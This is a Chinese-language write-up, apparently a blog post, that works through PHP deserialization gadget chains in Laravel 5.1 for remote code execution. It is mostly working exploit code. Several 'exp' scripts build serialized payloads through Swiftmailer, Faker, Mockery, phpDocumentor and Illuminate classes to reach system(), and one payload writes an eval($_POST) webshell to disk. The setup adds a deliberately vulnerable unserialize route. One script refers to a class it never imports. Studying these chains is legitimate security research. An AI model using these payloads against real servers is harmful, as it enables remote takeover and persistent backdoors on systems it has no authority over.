环境搭建
下载源码地址:https://github.com/laravel/laravel/releases/tag/v5.1.0
github上的源码会缺少vender目录
使用composer下载后,将vender目录拷贝到源码中
composer create-project --prefer-dist laravel/laravel laravel5.1 "5.1.*"
PHP版本:7.3.22
将.env.example
中内容复制到新建的.env
中
设置APP_ENV=local
这样页面会显示报错信息。
修改ini文件,打开openssl extension
extension_dir = "ext"
extension=openssl
入口处
使用app/Http/routes.php
编写入口
<?php
Route::get('admin/{obj}',function($s){
if($s){
unserialize(base64_decode($s));
return 'unserialize done'.$s;
}else{
return 'unserialize error'.$s;
}
});
RCE1分析
先全局搜索function __destruct()
找到vendor/swiftmailer/swiftmailer/lib/classes/Swift/KeyCache/DiskKeyCache.php
<?php
public function __destruct()
{
foreach ($this->_keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
每次迭代中,$nsKey
变量会被赋值为$this->_keys
的键,而$null
变量在这个上下文中实际上是未使用的。
继续跟进clearAll()
函数,is_file()
和is_dir()
函数都会将参数当作string进行拼接处理,因为$this->_path
可控,可以触发其他类的__toString()
方法
这里的$this->_keys
是一个二重数组,如下所示
[1,[1,1]],[2,[2,2]],...
这里因为会使用unlink
删除文件,在构造_keys的内容时,写特殊一点,以防删掉服务器文件。
<?php
/**
* Check if the given $itemKey exists in the namespace $nsKey.
*
* @param string $nsKey
* @param string $itemKey
*
* @return bool
*/
public function hasKey($nsKey, $itemKey)
{
return is_file($this->_path.'/'.$nsKey.'/'.$itemKey);
}
/**
* Clear data for $itemKey in the namespace $nsKey if it exists.
*
* @param string $nsKey
* @param string $itemKey
*/
public function clearKey($nsKey, $itemKey)
{
if ($this->hasKey($nsKey, $itemKey)) {
$this->_freeHandle($nsKey, $itemKey);
unlink($this->_path.'/'.$nsKey.'/'.$itemKey);
}
}
/**
* Clear all data in the namespace $nsKey if it exists.
*
* @param string $nsKey
*/
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->_keys)) {
foreach ($this->_keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->_path.'/'.$nsKey)) {
rmdir($this->_path.'/'.$nsKey);
}
unset($this->_keys[$nsKey]);
}
}
下一步寻找可利用__toString()
函数的类
这里可以选择vendor/mockery/mockery/library/Mockery/Generator/DefinedTargetClass.php
中的__toString()
方法作为触发的点,其先会调用getName()
方法,且该方法中的$this->rfc
是可控的,因此可以来触发一个没有getName()
方法的类从而来触发该类中的__call()
方法
<?php
namespace Mockery\Generator;
class DefinedTargetClass
{
private $rfc;
public function __construct(\ReflectionClass $rfc)
{
$this->rfc = $rfc;
}
...
public function getName()
{
return $this->rfc->getName();
}
...
public function __toString()
{
return $this->getName();
}
...
全局搜索__call()
方法,跟进vendor/fzaninotto/faker/src/Faker/ValidGenerator.php
中的__call()
方法,其 while 语句内的$this->validator
是可控的,当$res
能够是命令执行函数的参数时即可触发命令执行 RCE,由于$this->generator
也是可控的,因此可以寻找一个能够有返回参数值的方法类来达到返回命令执行函数参数的目的从而 RCE
call_user_func()
函数只会返回NULL
,所以会一直循环。设置$this->maxRetries
来限制循环次数。
<?php
/**
* Catch and proxy all generator calls with arguments but return only valid values
* @param string $name
* @param array $arguments
*
* @return mixed
*/
public function __call($name, $arguments)
{
$i = 0;
do {
$res = call_user_func_array(array($this->generator, $name), $arguments);
$i++;
if ($i > $this->maxRetries) {
throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
}
} while (!call_user_func($this->validator, $res));
return $res;
}
这里可以用vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php
来做触发点,当前面设置的$name
方法不存在时这里就会触发到__call()
方法,从而返回可控参数$this->default
的值,这样就可以控制$res
参数了。
<?php
namespace Faker;
/**
* This generator returns a default value for all called properties
* and methods. It works with Faker\Generator\Base->optional().
*/
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
/**
* @param string $attribute
*
* @return mixed
*/
public function __get($attribute)
{
return $this->default;
}
/**
* @param string $method
* @param array $attributes
*
* @return mixed
*/
public function __call($method, $attributes)
{
return $this->default;
}
}
exp
<?php
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($cmd)
{
$this->default = $cmd;
}
}
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($cmd){
$this->generator=new DefaultGenerator($cmd);
$this->maxRetries=9;
$this->validator='system';
}
}
}
namespace Mockery\Generator{
use Faker\ValidGenerator;
class DefinedTargetClass
{
private $rfc;
public function __construct($cmd)
{
$this->rfc=new ValidGenerator($cmd);
}
}
}
namespace{
use Mockery\Generator\DefinedTargetClass;
class Swift_KeyCache_DiskKeyCache{
private $_keys=['fallingskies'=>['fallingskies'=>'fallingskies']];
private $_path;
public function __construct($cmd){
$this->_path=new DefinedTargetClass($cmd);
}
}
echo urlencode(base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("whoami"))));
}
?>
__toString处其他函数利用
寻找其他可利用的__toString()
函数
IdenticalValueToken.php
ExactValueToken.php
中貌似可以利用
主要找有两个->
的地方,能够跳到下一段_call
代码处。
这里用
vendor/phpdocumentor/reflection-docblock/src/DocBlock/Tags/Deprecated.php
<?php
public function __toString() : string
{
if ($this->description) {
$description = $this->description->render();
} else {
$description = '';
}
$version = (string) $this->version;
return $version . ($description !== '' ? ($version !== '' ? ' ' : '') . $description : '');
}
exp
<?php
namespace Faker{
class DefaultGenerator{
protected $default;
public function __construct($cmd)
{
$this->default = $cmd;
}
}
class ValidGenerator
{
protected $generator;
protected $validator;
protected $maxRetries;
public function __construct($cmd){
$this->generator=new DefaultGenerator($cmd);
$this->maxRetries=9;
$this->validator='system';
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\ValidGenerator;
class Deprecated
{
protected $description;
public function __construct($cmd)
{
$this->description=new ValidGenerator($cmd);
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
class Swift_KeyCache_DiskKeyCache{
private $_keys=['fallingskies'=>['fallingskies'=>'fallingskies']];
private $_path;
public function __construct($cmd){
$this->_path=new DefinedTargetClass($cmd);
}
}
echo urlencode(base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("whoami"))));
}
?>
__call处其他函数利用
找到vendor/laravel/framework/src/Illuminate/Database/DatabaseManager.php
跟进__call()
方法,其调用了connection()
方法,跟进去,这里要让其进入makeConnection()
方法从而来利用call_user_func()
方法来进行RCE
<?php
namespace Illuminate\Database;
use Illuminate\Support\Arr;
use Illuminate\Support\Str;
use InvalidArgumentException;
use Illuminate\Database\Connectors\ConnectionFactory;
class DatabaseManager implements ConnectionResolverInterface
{
/**
* The application instance.
*
* @var \Illuminate\Foundation\Application
*/
protected $app;
/**
* The database connection factory instance.
*
* @var \Illuminate\Database\Connectors\ConnectionFactory
*/
protected $factory;
/**
* The active connection instances.
*
* @var array
*/
protected $connections = [];
/**
* The custom connection resolvers.
*
* @var array
*/
protected $extensions = [];
/**
* Create a new database manager instance.
*
* @param \Illuminate\Foundation\Application $app
* @param \Illuminate\Database\Connectors\ConnectionFactory $factory
* @return void
*/
public function __construct($app, ConnectionFactory $factory)
{
$this->app = $app;
$this->factory = $factory;
}
/**
* Get a database connection instance.
*
* @param string $name
* @return \Illuminate\Database\Connection
*/
public function connection($name = null)
{
list($name, $type) = $this->parseConnectionName($name);
// If we haven't created this connection, we'll create it based on the config
// provided in the application. Once we've created the connections we will
// set the "fetch mode" for PDO which determines the query return types.
if (! isset($this->connections[$name])) {
$connection = $this->makeConnection($name);
$this->setPdoForType($connection, $type);
$this->connections[$name] = $this->prepare($connection);
}
return $this->connections[$name];
}
/**
* Parse the connection into an array of the name and read / write type.
*
* @param string $name
* @return array
*/
protected function parseConnectionName($name)
{
$name = $name ?: $this->getDefaultConnection();
return Str::endsWith($name, ['::read', '::write'])
? explode('::', $name, 2) : [$name, null];
}
/**
* Disconnect from the given database and remove from local cache.
*
* @param string $name
* @return void
*/
public function purge($name = null)
{
$this->disconnect($name);
unset($this->connections[$name]);
}
/**
* Disconnect from the given database.
*
* @param string $name
* @return void
*/
public function disconnect($name = null)
{
if (isset($this->connections[$name = $name ?: $this->getDefaultConnection()])) {
$this->connections[$name]->disconnect();
}
}
/**
* Reconnect to the given database.
*
* @param string $name
* @return \Illuminate\Database\Connection
*/
public function reconnect($name = null)
{
$this->disconnect($name = $name ?: $this->getDefaultConnection());
if (! isset($this->connections[$name])) {
return $this->connection($name);
}
return $this->refreshPdoConnections($name);
}
/**
* Refresh the PDO connections on a given connection.
*
* @param string $name
* @return \Illuminate\Database\Connection
*/
protected function refreshPdoConnections($name)
{
$fresh = $this->makeConnection($name);
return $this->connections[$name]
->setPdo($fresh->getPdo())
->setReadPdo($fresh->getReadPdo());
}
/**
* Make the database connection instance.
*
* @param string $name
* @return \Illuminate\Database\Connection
*/
protected function makeConnection($name)
{
$config = $this->getConfig($name);
// First we will check by the connection name to see if an extension has been
// registered specifically for that connection. If it has we will call the
// Closure and pass it the config allowing it to resolve the connection.
if (isset($this->extensions[$name])) {
return call_user_func($this->extensions[$name], $config, $name);
}
$driver = $config['driver'];
// Next we will check to see if an extension has been registered for a driver
// and will call the Closure if so, which allows us to have a more generic
// resolver for the drivers themselves which applies to all connections.
if (isset($this->extensions[$driver])) {
return call_user_func($this->extensions[$driver], $config, $name);
}
return $this->factory->make($config, $name);
}
/**
* Prepare the database connection instance.
*
* @param \Illuminate\Database\Connection $connection
* @return \Illuminate\Database\Connection
*/
protected function prepare(Connection $connection)
{
$connection->setFetchMode($this->app['config']['database.fetch']);
if ($this->app->bound('events')) {
$connection->setEventDispatcher($this->app['events']);
}
// Here we'll set a reconnector callback. This reconnector can be any callable
// so we will set a Closure to reconnect from this manager with the name of
// the connection, which will allow us to reconnect from the connections.
$connection->setReconnector(function ($connection) {
$this->reconnect($connection->getName());
});
return $connection;
}
/**
* Prepare the read write mode for database connection instance.
*
* @param \Illuminate\Database\Connection $connection
* @param string $type
* @return \Illuminate\Database\Connection
*/
protected function setPdoForType(Connection $connection, $type = null)
{
if ($type == 'read') {
$connection->setPdo($connection->getReadPdo());
} elseif ($type == 'write') {
$connection->setReadPdo($connection->getPdo());
}
return $connection;
}
/**
* Get the configuration for a connection.
*
* @param string $name
* @return array
*
* @throws \InvalidArgumentException
*/
protected function getConfig($name)
{
$name = $name ?: $this->getDefaultConnection();
// To get the database connection configuration, we will just pull each of the
// connection configurations and get the configurations for the given name.
// If the configuration doesn't exist, we'll throw an exception and bail.
$connections = $this->app['config']['database.connections'];
if (is_null($config = Arr::get($connections, $name))) {
throw new InvalidArgumentException("Database [$name] not configured.");
}
return $config;
}
/**
* Get the default connection name.
*
* @return string
*/
public function getDefaultConnection()
{
return $this->app['config']['database.default'];
}
/**
* Set the default connection name.
*
* @param string $name
* @return void
*/
public function setDefaultConnection($name)
{
$this->app['config']['database.default'] = $name;
}
/**
* Register an extension connection resolver.
*
* @param string $name
* @param callable $resolver
* @return void
*/
public function extend($name, callable $resolver)
{
$this->extensions[$name] = $resolver;
}
/**
* Return all of the created connections.
*
* @return array
*/
public function getConnections()
{
return $this->connections;
}
/**
* Dynamically pass methods to the default connection.
*
* @param string $method
* @param array $parameters
* @return mixed
*/
public function __call($method, $parameters)
{
return call_user_func_array([$this->connection(), $method], $parameters);
}
}
跟进getConfig()
方法,继续跟进Arr::get($connections, $name)
,可以看到经过get()
方法返回回来的$config
的值是可控的,可以将命令执行函数返回回来,从而导致 RCE
需要将$this->extensions[$name]
赋值为call_user_func
,$config
赋值为system
,$name
赋值为id
(即$payload)
往上查看$name
参数传递过程
list($name, $type) = $this->parseConnectionName($name);
继续跟进parseConnectionName()
函数
protected function parseConnectionName($name)
{
$name = $name ?: $this->getDefaultConnection();
return Str::endsWith($name, ['::read', '::write'])
? explode('::', $name, 2) : [$name, null];
}
继续跟进getDefaultConnection()
函数
public function getDefaultConnection()
{
return $this->app['config']['database.default'];
}
可以看到直接赋值$this->app['config']['database.default']=$payload
就可以了,上一个函数对::
进行分割,所以设置参数时也可以加::
,虽然没啥用😅
继续看$config
参数
$config = $this->getConfig($name);
跟进getConfig()
函数
protected function getConfig($name)
{
$name = $name ?: $this->getDefaultConnection();
// To get the database connection configuration, we will just pull each of the
// connection configurations and get the configurations for the given name.
// If the configuration doesn't exist, we'll throw an exception and bail.
$connections = $this->app['config']['database.connections'];
if (is_null($config = Arr::get($connections, $name))) {
throw new InvalidArgumentException("Database [$name] not configured.");
}
return $config;
}
继续跟进Arr::get
public static function get($array, $key, $default = null)
{
if (is_null($key)) {
return $array;
}
if (isset($array[$key])) {
return $array[$key];
}
...
因为$name
已经被我们赋值了,所以设置$this->app['config']['database.connections'] = [$payload => 'system']
$this->extensions[$payload]='call_user_func';
这样就构造完成了。
exp
<?php
namespace Illuminate\Database{
class DatabaseManager{
protected $app;
protected $extensions ;
public function __construct($payload)
{
$this->app['config']['database.default'] = $payload;
$this->app['config']['database.connections'] = [$payload => 'system'];
$this->extensions[$payload]='call_user_func';
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Illuminate\Database\DatabaseManager;
class Deprecated
{
protected $description;
public function __construct($payload)
{
$this->description=new DatabaseManager($payload);
}
}
}
namespace {
use phpDocumentor\Reflection\DocBlock\Tags\Deprecated;
class Swift_KeyCache_DiskKeyCache {
private $_path;
private $_keys = ['fallingskies' => ['fallingskies' => 'fallingskies']];
public function __construct($payload) {
$this->_path = new Deprecated($payload);
}
}
echo urlencode(serialize(new Swift_KeyCache_DiskKeyCache("echo 'PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg=='|base64 -d > 1.php")));
}
?>
命令执行成功后,会有报错信息
另一条
分析就省略了,就是改了__tostring和__call
这里注意调用__call时是能带入参数的,这里
$method=stringfy
$attributes=$this->value
<?php
namespace Faker {
class Generator {
protected $formatters = array();
function __construct() {
$this->formatters = ['stringify' => "system"];
}
}
}
namespace Prophecy\Argument\Token {
use Faker\Generator;
class ExactValueToken {
private $string;
private $value;
private $util;
public function __construct($payload) {
$this->string = null;
$this->util = new Generator();;
$this->value = $payload;
}
}
}
namespace {
use Prophecy\Argument\Token\ExactValueToken;
class Swift_KeyCache_DiskKeyCache {
private $path;
private $keys = ['fallingskies' => ['fallingskies' => 'fallingskies']];
public function __construct($payload) {
$this->path = new ExactValueToken($payload);
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("whoami")));
}
?>
但是测试发现Generator
中的__call
利用不了,因为已经修复了
$this->formatters
会清空,导致后面利用参数链断裂。
public function __wakeup()
{
$this->formatters = [];
}
另另一条
vendor/laravel/framework/src/Illuminate/Validation/Validator.php
public function __call($method, $parameters)
{
$rule = Str::snake(substr($method, 8));
echo $rule;
if (isset($this->extensions[$rule])) {
return $this->callExtension($rule, $parameters);
}
throw new BadMethodCallException("Method [$method] does not exist.");
}
跟进src/Illuminate/Validation/Validator.php
中的__call()
方法,先进行字符串的操作截取$method
第八个字符之后的字符,由于传入的字符串是dispatch
,正好八个字符所以传入后为空,接着调用callExtension()
方法,通过instanceof Closure
判断,触发call_user_func_array方法
exp
<?php
namespace Illuminate\Validation {
class Validator {
public $extensions = [];
public function __construct() {
$this->extensions = ['' => 'system'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Validation\Validator;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Validator();
$this->event = $cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast('calc')));
}
?>
但是PendingBroadcast
这个类没有了,我们需要找另一个符合要求的类,很难(这里没找到)。
看下能否利用callClassBasedExtension
方法。
可以看到,我们用上面的DefaultGenerator
方法,可以控制$this->container->make($class)
的值,然后$method
我们也可以通过$callback
参数控制,$parameters
参数也是可控的
但是因为这里使用的数组形式,所以我们要找可以利用的$this->container->make($class)->$method($parmeters)
/**
* Call a class based validator extension.
*
* @param string $callback
* @param array $parameters
* @return bool
*/
protected function callClassBasedExtension($callback, $parameters)
{
list($class, $method) = explode('@', $callback);
return call_user_func_array([$this->container->make($class), $method], $parameters);
}
这里找到DebugClassLoader
的loadClass
方法
public function loadClass($class)
{
ErrorHandler::stackErrors();
try {
echo "loooooooadclass";
if ($this->isFinder && !isset($this->loaded[$class])) {
$this->loaded[$class] = true;
if ($file = $this->classLoader[0]->findFile($class)) {
require $file;
}
} else {
echo "sssssssssssucccesss";
call_user_func($this->classLoader, $class);
$file = false;
}
} catch (\Exception $e) {
ErrorHandler::unstackErrors();
throw $e;
} catch (\Throwable $e) {
ErrorHandler::unstackErrors();
throw $e;
}
编写exp
<?php
namespace{
use Prophecy\Argument\Token\ObjectStateToken;
class Swift_KeyCache_DiskKeyCache{
private $_keys=['fallingskies'=>['fallingskies'=>'fallingskies']];
private $_path;
public function __construct($cmd){
$this->_path=new ObjectStateToken($cmd);
}
}
echo urlencode(base64_encode(serialize(new Swift_KeyCache_DiskKeyCache("calc"))));
}
namespace Prophecy\Argument\Token{
use Illuminate\Validation\Validator;
class ObjectStateToken{
private $name;
private $value;
private $util;
public function __construct($cmd){
$this->name='';
$this->value=$cmd;
$this->util=new Validator();
}
}
}
namespace Illuminate\Validation{
use Faker\DefaultGenerator;
class Validator{
protected $container;
protected $extensions = [];
public function __construct(){
$this->extensions['y']='xxx@loadClass';
$this->container=new DefaultGenerator();
}
}
}
namespace Faker{
use Symfony\Component\Debug\DebugClassLoader;
class DefaultGenerator
{
protected $default;
public function __construct()
{
$this->default = new DebugClassLoader();
}
}
}
namespace Symfony\Component\Debug{
class DebugClassLoader
{
private $classLoader;
public function __construct()
{
$this->classLoader = "system";
}
}
}
?>
参考文章
https://www.anquanke.com/post/id/258264#h3-11